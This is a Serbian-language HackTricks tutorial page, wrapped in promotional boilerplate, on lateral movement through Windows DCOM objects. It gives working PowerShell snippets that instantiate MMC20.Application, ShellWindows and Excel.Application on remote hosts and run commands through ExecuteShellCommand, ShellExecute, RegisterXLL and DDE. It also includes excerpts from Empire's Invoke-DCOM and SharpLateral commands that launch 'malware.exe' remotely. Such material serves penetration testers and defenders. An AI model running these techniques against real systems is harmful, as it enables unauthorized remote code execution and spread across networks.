9.3 KiB
DCOM Izvršenje
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u kompaniji za kibernetičku bezbednost? Želite li da vidite svoju kompaniju reklamiranu na HackTricks? ili želite pristup najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu? Proverite PLANOVE ZA PRETPLATU!
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitteru 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na hacktricks repozitorijum i hacktricks-cloud repozitorijum..
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
MMC20.Application
Za više informacija o ovoj tehnici pogledajte originalni post na https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
Model distribuiranih komponentnih objekata (DCOM) predstavlja zanimljivu mogućnost za mrežne interakcije sa objektima. Microsoft pruža sveobuhvatnu dokumentaciju za DCOM i Model komponentnih objekata (COM), dostupnu ovde za DCOM i ovde za COM. Spisak DCOM aplikacija može se dobiti korišćenjem PowerShell komande:
Get-CimInstance Win32_DCOMApplication
COM objekat, MMC Application Class (MMC20.Application), omogućava pisanje skriptova za MMC snap-in operacije. Posebno, ovaj objekat sadrži ExecuteShellCommand
metod pod Document.ActiveView
. Više informacija o ovom metodu možete pronaći ovde. Proverite pokretanjem:
Ova funkcija olakšava izvršavanje komandi preko mreže putem DCOM aplikacije. Za interakciju sa DCOM-om na daljinu kao administrator, PowerShell se može koristiti na sledeći način:
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
Ova komanda se povezuje sa DCOM aplikacijom i vraća instancu COM objekta. Metoda ExecuteShellCommand može zatim biti pozvana da izvrši proces na udaljenom računaru. Proces uključuje sledeće korake:
Provera metoda:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
Dobijanje daljinskog izvršenja koda (RCE):
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
# Then just run something like:
ls \\10.10.10.10\c$\Users
ShellWindows & ShellBrowserWindow
Za više informacija o ovoj tehnici pogledajte originalni post https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Identifikovano je da objekat MMC20.Application nedostaje eksplicitna "LaunchPermissions", podrazumevajući dozvole koje dozvoljavaju pristup administratorima. Za dalje detalje, može se istražiti nit ovde, a preporučuje se korišćenje @tiraniddo’s OleView .NET za filtriranje objekata bez eksplicitnih dozvola za pokretanje.
Dva specifična objekta, ShellBrowserWindow
i ShellWindows
, istaknuta su zbog nedostatka eksplicitnih dozvola za pokretanje. Odsustvo unosa LaunchPermission
u registru pod HKCR:\AppID\{guid}
označava nedostatak eksplicitnih dozvola.
ShellWindows
Za ShellWindows
, koji nema ProgID, .NET metode Type.GetTypeFromCLSID
i Activator.CreateInstance
olakšavaju instanciranje objekta koristeći njegov AppID. Ovaj proces koristi OleView .NET za dobijanje CLSID-a za ShellWindows
. Jednom kada je instanciran, interakcija je moguća kroz metod WindowsShell.Item
, što dovodi do poziva metoda poput Document.Application.ShellExecute
.
Dati su primeri PowerShell komandi za instanciranje objekta i izvršavanje komandi na daljinu:
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
Lateralno kretanje pomoću Excel DCOM objekata
Lateralno kretanje može se postići iskorišćavanjem DCOM Excel objekata. Za detaljne informacije, preporučuje se čitanje diskusije o iskorišćavanju Excel DDE za lateralno kretanje putem DCOM na Cybereason-ovom blogu.
Projekat Empire pruža PowerShell skriptu, koja demonstrira korišćenje Excela za izvršavanje udaljenog koda (RCE) manipulišući DCOM objektima. U nastavku su isečci iz skripte dostupne na Empire-ovom GitHub repozitorijumu, prikazujući različite metode zloupotrebe Excela za RCE:
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
Alatke za automatizaciju lateralnog kretanja
Dve alatke su istaknute za automatizaciju ovih tehnika:
-
Invoke-DCOM.ps1: PowerShell skripta koju pruža Empire projekat koja pojednostavljuje pozivanje različitih metoda za izvršavanje koda na udaljenim mašinama. Ova skripta je dostupna na Empire GitHub repozitorijumu.
-
SharpLateral: Alatka dizajnirana za izvršavanje koda na daljinu, koja se može koristiti sa komandom:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Automatski alati
- Powershell skripta Invoke-DCOM.ps1 omogućava lako pozivanje svih komentarisanih načina izvršavanja koda na drugim mašinama.
- Takođe možete koristiti SharpLateral:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Reference
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.